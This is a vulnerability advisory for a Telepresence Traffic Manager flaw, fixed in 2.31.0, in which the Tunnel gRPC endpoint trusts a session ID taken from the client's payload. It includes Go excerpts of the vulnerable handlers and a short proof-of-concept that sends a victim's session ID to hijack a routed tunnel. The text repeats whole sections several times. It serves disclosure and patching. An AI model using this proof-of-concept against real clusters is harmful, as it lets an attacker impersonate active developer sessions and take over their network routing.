CVE-2026-102339

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager Tunnel gRPC streaming endpoint parses a session ID from the first bytes of a caller-controlled message in pkg/tunnel/message.go and passes it to state.Tunnel without verifying that the caller owns the active session. An attacker who obtains a valid active session ID through log leakage, cluster-internal channels, or the unauthenticated ArriveAsClient endpoint can attach a routed tunnel to that session and gain its network routing capabilities. UUID4 session IDs make cold brute force impractical. This vulnerability is fixed in 2.31.0.

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager Tunnel gRPC streaming endpoint parses a session ID from the first bytes of a caller-controlled message in pkg/tunnel/message.go and passes it to state.Tunnel without verifying that the caller owns the active session. An attacker who obtains a valid active session ID through log leakage, cluster-internal channels, or the unauthenticated ArriveAsClient endpoint can attach a routed tunnel to that session and gain its network routing capabilities. UUID4 session IDs make cold brute force impractical. This vulnerability is fixed in 2.31.0.

Summary

The Traffic Manager Tunnel gRPC streaming endpoint accepts a session ID from the first bytes of the client-controlled message payload. No verification confirms the caller owns the session. An attacker supplying a valid active session ID receives a fully routed tunnel for that session, gaining the network routing capabilities of the legitimate Telepresence client. Tested on HEAD v2.28.0, commit b2231a4.

Details

The Tunnel handler reads identity from a client-provided binary payload rather than from a verified credential or prior authenticated gRPC call:

// cmd/traffic/cmd/manager/service.go:1057-1063
func (s *service) Tunnel(server grpc.BidiStreamingServer[...]) error {
    stream, err := tunnel.NewServerStream(ctx, tunnel.ClientToManager, server)
    return s.state.Tunnel(ctx, stream)  // stream.SessionID() is client-controlled
}

state.Tunnel looks up the session ID in the sessions map with no ownership proof:

// cmd/traffic/cmd/manager/state/state.go:698-703
func (s *State) Tunnel(ctx context.Context, stream tunnel.Stream) error {
    id := stream.SessionID()   // from client payload bytes
    if cs, ok := s.clients.Load(id); ok {
        return s.clientTunnel(ctx, cs, stream)  // full dialer granted
    }
    return grpcErrors.Errorf(codes.NotFound, ...)
}

The session ID is parsed from the wire message with no binding to the transport-level identity of the caller (pkg/tunnel/message.go:209-214).

Proof of Concept

Precondition: a valid active session ID (obtainable via ArriveAsClient, which has no auth either).

conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

tunnelStream, _ := mgr.Tunnel(ctx)

// Send StreamInfo with victim session ID in payload
tunnelStream.Send(&rpc.TunnelMessage{Payload: buildStreamInfo(victimSessionID, ...)})

// Traffic Manager routes tunnel traffic for victimSessionID
// through this attacker-controlled bidirectional stream

Impact

A caller supplying a valid session ID of an active Telepresence client obtains a tunnel endpoint for that session's network routing context. Session IDs are UUID4s, making cold brute-force impractical; exploitation materialises when session IDs are obtainable via log leakage or cluster-internal channels. Combined with the unauthenticated ArriveAsClient endpoint, an attacker can create their own sessions and pivot to impersonate active developer sessions.

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager Tunnel gRPC streaming endpoint parses a session ID from the first bytes of a caller-controlled message in pkg/tunnel/message.go and passes it to state.Tunnel without verifying that the caller owns the active session. An attacker who obtains a valid active session ID through log leakage, cluster-internal channels, or the unauthenticated ArriveAsClient endpoint can attach a routed tunnel to that session and gain its network routing capabilities. UUID4 session IDs make cold brute force impractical. This vulnerability is fixed in 2.31.0.

Telepresence enables local development against a remote Kubernetes or OpenShift cluster. Prior to 2.31.0, the Traffic Manager Tunnel gRPC streaming endpoint parses a session ID from the first bytes of a caller-controlled message in pkg/tunnel/message.go and passes it to state.Tunnel without verifying that the caller owns the active session. An attacker who obtains a valid active session ID through log leakage, cluster-internal channels, or the unauthenticated ArriveAsClient endpoint can attach a routed tunnel to that session and gain its network routing capabilities. UUID4 session IDs make cold brute force impractical. This vulnerability is fixed in 2.31.0.

Summary

The Traffic Manager Tunnel gRPC streaming endpoint accepts a session ID from the first bytes of the client-controlled message payload. No verification confirms the caller owns the session. An attacker supplying a valid active session ID receives a fully routed tunnel for that session, gaining the network routing capabilities of the legitimate Telepresence client. Tested on HEAD v2.28.0, commit b2231a4.

Details

The Tunnel handler reads identity from a client-provided binary payload rather than from a verified credential or prior authenticated gRPC call:

// cmd/traffic/cmd/manager/service.go:1057-1063
func (s *service) Tunnel(server grpc.BidiStreamingServer[...]) error {
    stream, err := tunnel.NewServerStream(ctx, tunnel.ClientToManager, server)
    return s.state.Tunnel(ctx, stream)  // stream.SessionID() is client-controlled
}

state.Tunnel looks up the session ID in the sessions map with no ownership proof:

// cmd/traffic/cmd/manager/state/state.go:698-703
func (s *State) Tunnel(ctx context.Context, stream tunnel.Stream) error {
    id := stream.SessionID()   // from client payload bytes
    if cs, ok := s.clients.Load(id); ok {
        return s.clientTunnel(ctx, cs, stream)  // full dialer granted
    }
    return grpcErrors.Errorf(codes.NotFound, ...)
}

The session ID is parsed from the wire message with no binding to the transport-level identity of the caller (pkg/tunnel/message.go:209-214).

Proof of Concept

Precondition: a valid active session ID (obtainable via ArriveAsClient, which has no auth either).

conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

tunnelStream, _ := mgr.Tunnel(ctx)

// Send StreamInfo with victim session ID in payload
tunnelStream.Send(&rpc.TunnelMessage{Payload: buildStreamInfo(victimSessionID, ...)})

// Traffic Manager routes tunnel traffic for victimSessionID
// through this attacker-controlled bidirectional stream

Impact

A caller supplying a valid session ID of an active Telepresence client obtains a tunnel endpoint for that session's network routing context. Session IDs are UUID4s, making cold brute-force impractical; exploitation materialises when session IDs are obtainable via log leakage or cluster-internal channels. Combined with the unauthenticated ArriveAsClient endpoint, an attacker can create their own sessions and pivot to impersonate active developer sessions.